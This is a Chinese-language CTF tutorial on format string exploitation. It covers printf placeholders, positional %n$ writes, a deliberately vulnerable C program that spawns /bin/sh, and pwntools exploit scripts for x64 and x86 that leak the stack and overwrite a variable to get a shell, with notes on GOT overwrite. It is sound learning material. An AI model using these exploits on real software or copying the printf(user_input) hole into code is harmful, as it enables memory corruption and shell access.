pwn入门-格式化字符串初探

C语言中格式化字符串常用占位符
了解了格式化字符串的工作原理,在利用格式化字符串漏洞之前,我们还需要对占位符有着深刻的理解,我们就来回顾一下C语言格式化字符串中常用的占位符:

占位符 含义
%d 以十进制形式输出整数
%u 以十进制形式输出无符号整数
%x 以十六进制形式输出整数 (小写字母)
%X 以十六进制形式输出整数 (大写字母)
%o 以十进制形式输出整数
%f 以浮点数形式输出实数
%e 以指数形式输出实数
%g 自动选择%域者%e输出实数
%c 输出单个字符
%s 输出字符串
%p 输出指针的地址
%n 将已经输出的字符数写入参数

%c字符串通常用来输出单个字符,比如printf(“%c”,65),输出即为A,65为A的ascii码,%c将int参数转为unsiened char类型输出:但结合field width这个参数,就可以输出大量字符,比如:printf(“%1088c”):这行代码

以上这些就是常用的占位符了,而在我们格式化字符串漏洞利用中,常用%p来泄露地址,使用%n来实现向指定地址写入数据(4字节),我们还通常会使用%hn(2字节),%hhn(1字节),%lln(8字节)进行写入。

image-20250111170019965

而在我们格式化字符串漏洞的利用中,我们通常还会用到正常开发很少用到的字符:数字+$的形式。

我们可以使用数字+$的形式,直接指定参数相对于格式化字符串的偏移,我们来看看这个程序:

1
2
3
4
5
6
7
8
9
10
11
int main() {

char a[] = "aaaa";
char b[] = "bbbb";
char c[] = "cccc";
char d[] = "dddd";
printf("%3$s %2$s %1$s", a, b, c);

return 0;
}

这样,当程序看到%3$s的时候,就不是直接找相对于格式化字符串的第一个参数了,而是去找相对于格式化字符串的第三个参数,这样的话,就会输出cccc,而整个程序输出cccc bbbb aaaa。

1
2
3
4
5
6
7
8
9
10
int main() {

char UserName[256]{ 0 };

scanf("%s", UserName);
printf(UserName);

return 0;
}

任意地址泄露:%数字$s

任意地址写:%数字c%数字$n

假设我们想要将 0x41(65的十六进制表示)写入到某个特定的内存地址(例如:0x601048)。

思路:

  1. 使用 %65c 来确保字符计数器达到65。
  2. 使用 %n 将这个字符计数器的值(65)写入到指定的内存地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test1;
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf1[0x10];
char buf2[0x10];
char buf3[0x10];
int test2=0;
int test3=0;
while(1){
puts("input:");
read(0,buf1,0x100);
printf(buf1);
if(test3==100)
system("/bin/sh");
}
return 0;
}

int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_test_2.c -o fmt_test_2_x64
//gcc -m32 fmt_test_2.c -o fmt_test_2_x86

开了PIE

image-20250108140328473

image-20250108140948194

寄存器传参顺序:rdi, rsi, rdx, rcx, r8, r9

RDX第二个参数,RCX第三个

到rsp就是第六个,下面6,7,8,9,10(因为超出了寄存器,剩下的放在了栈里)

  • 7 个 参数位于栈偏移 -038 (0x7fffffffde78)
  • 8 个 参数位于栈偏移 -030 (0x7fffffffde80)
  • 9 个 参数位于栈偏移 -028 (0x7fffffffde88)
  • 10 个 参数位于栈偏移 -020 (0x7fffffffde90)

image-20250108142049990

image-20250108142311784

055x24f地址-0000124F地址 = 基地址

输入%15$p

输出0x55555555524f

因为从上往下数是第十五个

%s是把指向的地址读出来,%n是把指向的地址去写,攻击者可能利用 %n 改写内存中的关键数据,比如返回地址、全局变量等,导致格式化字符串漏洞

不是直接读第几个参数,而是把第几个参数当作一个地址去修改

image-20250108144546834

这是什么意思呢?

**aaaaaaaa**:printf 将会先打印出 8 个字符 a。字符计数器现在为 8

%9$nprintf 会寻找第9个参数将当前字符计数器的值(8) 写入到第9个参数指向的内存地址。

image-20250108154129568

一些杂知识:

0x7fffffffde88 —▸ 0x7fffffffdeb0 ◂— 0x0

**0x7fffffffde88**是栈上的一个地址,表示某个局部变量或栈帧中的一个存储单元。

—▸ 0x7fffffffdeb0

  • 0x7fffffffde88 的内容是一个指针,指向另一个栈地址 0x7fffffffdeb0
  • 也就是说,在 0x7fffffffde88 这个位置存储的值是 0x7fffffffdeb0

**◂— 0x0**在 0x7fffffffdeb0 这个地址处,存储的值是 0x0

问题:

  • 当前没有任何指针指向 0x7fffffffdea8
  • 但我们可以控制栈上的输入内容(0x7fffffffde90)。

第一步:控制指针 0x7fffffffde90 修改为指向目标地址 0x7fffffffdea8

第二步:写入目标值,%9$n:将计数器的值 100 写入第 9 个参数指向的地址(现在是 0x7fffffffdea8)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile= './fmt_test_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

io.recvline()

payload_search_stack = b'%14$p'
io.sendline(payload_search_stack)

stack_1 = int(io.recv()[2:14],16)
test3_addr = stack_1 - 0x18
print("stack_1 is :" , hex(stack_1))

payload = b'%100c%10$hhnaaa' + p64(test3_addr)

io.send(payload)
pause()

io.interactive()
  1. 0X18怎么来的?根据输入地址和rbp算的,为什么要写-0x18而不是0x8呢,因为那里不是我们可控的

    image-20250108165252302

  2. test3_addr和后面的能不能对调?可以,因为printf会从栈上取参数,如果要改变test3addr我们只需要改变$后的数字就行

  3. payload = p64(test3_addr) + b’%100c%10$hhn’ 为什么是错的?

    注意:

    c语言字符串是以00结束的,不以00开始,64位系统,地址只用6个字节,0x00007fff88888888,因为是小端序,那个实际发送的顺序是从右向左发的。因为地址前面有/x00,会导致printf函数截断。所以后发地址,但是这样一改栈的位置会发生改变,因此需要改成%12$hhn。

    image-20250108171812803

    image-20250108172339163

    需要改成payload = b’%100c%12$hhnaaaa’ + p64(test3_addr)

    因为是6字节对齐,所以我们原本的那边是12字节也就是

    aaaaaaaa

    aaaatest3

    这样就会出问题,所以我们得补全(对齐)

    aaaaaaaa

    aaaabbbb

    test3_addr

32位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile= './fmt_test_2_x86'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)

io.recvline()

payload_search_stack = b'%22$p' # 4个字节 8个字长
io.sendline(payload_search_stack)

stack_1 = int(io.recv()[2:10],16)
test3_addr = stack_1 - 0x20
print("stack_1 is :" , hex(stack_1))

payload = p32(test3_addr) + b'%96c%14$hhn'

io.send(payload)
pause()

io.interactive()

还有个问题,就是如果我们要把test_addr放在前面就需要给100-去前面的输入

因为%n是将已经输出的字符数写入参数

%96c 中的 96 是指 96个字节,而不是字长。

星盟基础

fmtarg 0xffffcf88(快速识别地址是第几个参数)

p/x 0xaaa - 0xbbbb

System和printf的地址有5位不一样,由于格式化字符串最小只能修改到1字节,所以我们至少需要修改printf函数的3字节。%188c%6$hn这一串格式化字符的作用是往printf函数的第7个参数(相对于格式化字符串的第6个)写入188,108占2字节。